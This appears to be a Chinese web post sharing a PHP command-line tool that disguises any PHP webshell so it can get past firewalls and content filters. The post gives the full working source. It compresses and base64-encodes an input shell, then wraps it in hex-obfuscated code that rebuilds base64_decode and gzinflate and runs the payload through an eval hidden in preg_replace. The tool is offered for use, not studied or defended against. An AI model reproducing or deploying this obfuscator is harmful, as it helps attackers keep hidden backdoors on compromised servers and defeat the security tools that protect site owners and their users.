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| 关键词： 27 58 66 shellcode 65 webshell 工具 61 enfile phpwebshell |
这不是webshell,只是个webshell免杀工具 切勿当初webshell使用 仅限免杀phpwebshell 该工具运行在 cli 模式！ 如果有无法突破的文件内容过滤 可尝试下用这个工具 免杀大马！ 任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙 <?php /* Title: PHP shell nokill T00L Blog: exploit-db.blogcn.com */ error_reporting(0); @ini_set('memory_limit','-1'); set_time_limit(0); $toolname="$argv[0]"; if ($argc<2) { baner($toolname); die; } $input_file= trim($argv[1]); $output_file='nokill_'.$input_file; if (file_exists($input_file)) { No_kill_c0de($input_file,$output_file); echo "PHP shell nokill T00L\r\n"; echo "Blog: exploit-db.blogcn.com\r\n"; echo "Input: {$input_file}\r\n"; $file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file; echo "[+] Generate success!\r\n"; echo "Saved to {$file_full_path}"."\r\n"; } else { echo "PHP shell nokill T00L\r\n"; echo "Blog: exploit-db.blogcn.com\r\n"; die("[-] Failed ! The File $input_file does not exist"); } function No_kill_c0de($input_file,$output_file){ $no_whitespace=php_strip_whitespace($input_file); $no_php_tag=trim(trim(trim($no_whitespace,'<?php'),'<?'),'?>'); $enfile=base64_encode(gzdeflate($no_php_tag)); $shellcode="\x3c\x3f\x70\x68\x70\xd\xa"; $shellcode.='$enfile='.'"'."{$enfile}".'"'.';'."\xd\xa"; $shellcode.="\x24\x62\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x66\x27\x2c\x22\x22\x2c\x22\x62\x66\x61\x66\x73\x66\x65\x66\x36\x66\x34\x66\x5f\x66\x66\x64\x66\x66\x65\x66\x66\x63\x66\x66\x6f\x66\x66\x64\x66\x66\x65\x66\x22\x29\x3b\xd\xa\x24\x67\x3d\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x58\x27\x2c\x27\x27\x2c\x27\x67\x58\x58\x7a\x58\x58\x69\x58\x58\x6e\x58\x58\x58\x58\x66\x58\x58\x58\x6c\x58\x58\x61\x58\x58\x58\x74\x58\x58\x58\x58\x58\x65\x27\x29\x3b\xd\xa\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x27\x5c\x27\x61\x5c\x27\x65\x69\x73\x27\x2c\x27\x65\x27\x2e\x27\x76\x27\x2e\x27\x61\x27\x2e\x27\x6c\x27\x2e\x27\x28\x24\x67\x28\x24\x62\x28\x24\x65\x6e\x66\x69\x6c\x65\x29\x29\x29\x27\x2c\x27\x61\x27\x29\x3b\xd\xa"; $shellcode.="\x3f\x3e"; file_put_contents("$output_file",$shellcode); } function baner($toolname){ echo "PHP shell nokill T00L\r\n"; echo "Blog: exploit-db.blogcn.com\r\n"; echo "Usage: {$toolname} phpwebshell\r\n"; } ?> |
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